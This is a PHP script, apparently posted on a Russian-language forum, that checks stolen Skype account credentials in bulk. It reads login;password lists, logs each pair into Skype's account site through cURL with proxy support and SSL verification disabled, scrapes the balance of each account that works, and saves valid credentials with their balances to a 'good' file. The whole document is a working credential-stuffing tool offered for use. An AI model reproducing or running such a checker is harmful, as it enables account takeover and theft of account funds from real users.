Код:
<?php set_time_limit(0); $proxy = ''; $filesource = 'source.txt'; $filevalid = 'good.txt'; $fileinvalid = 'bad.txt'; $goodfile = fopen($filevalid, 'a+'); $badfile = fopen($fileinvalid, 'a+'); $fp = file($filesource); $count = count($fp); for($i = 0;$i < $count;$i++) { $fp = file($filesource); $str = trim($fp[$i]); list($uname,$pass) = @explode(';', $str); list($login,$dom) = @explode('@', $uname); $url = 'https://secure.skype.com/account/'; $str = "$login;$pass"; if(skype_login($login,$pass)) { $ct = curl_init(); curl_setopt($ct, CURLOPT_URL, $url); curl_setopt($ct, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($ct, CURLOPT_COOKIEJAR, "cookie.txt"); curl_setopt($ct, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ct, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ct, CURLOPT_SSL_VERIFYHOST, false); if ($proxy!='') curl_setopt($ct, CURLOPT_PROXY, $proxy); curl_setopt($ct, CURLOPT_HEADER, 1); curl_setopt($ct, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.3)'); $res_acc = curl_exec($ct) or curl_error($ct); curl_close($ct); if (ereg ("(<span id=\"balanceAmount\"><span class=\'ccy\'>)(.+)(</span>)(.+)(</span>)(.+)(<div id=\"balanceDescription\">)", $res_acc, $balance)) { ereg ("(Your currency is set to <strong>)([A-Z]{3,4})", $res_acc, $ccy); $balance = trim($balance[4]).' '.$ccy[2]; echo $str."\t $balance -- GOOD\n"; fwrite ($goodfile,$str."\t".$balance."\n"); sleep(3); } else { echo $str."\t NO BALANCE -- GOOD\n"; fwrite ($goodfile,$str."\n"); } } else echo $str." -- BAD\n"; $fcls = fopen("cookie.txt", 'a+'); ftruncate($fcls, 0); flush(); } function skype_login($uname,$pass) { global $proxy; $url = 'https://secure.skype.com/account/login'; $post = 'invite_token=&timezone_field=&username='.$uname.'&password='.$pass; if($ct = curl_init($url)) { curl_setopt($ct, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($ct, CURLOPT_COOKIEJAR, "cookie.txt"); curl_setopt($ct, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ct, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ct, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ct, CURLOPT_HEADER, 1); curl_setopt($ct, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.3)'); if ($proxy!='') curl_setopt($ct, CURLOPT_PROXY, $proxy); curl_setopt($ct, CURLOPT_POST, 1); curl_setopt($ct, CURLOPT_POSTFIELDS, $post); $res_login = curl_exec($ct) or curl_error($ct); curl_close($ct); if(strpos($res_login, 'cookiecheck=1')) return true; else return false; } else die('no cUrl maza faka'); } ?>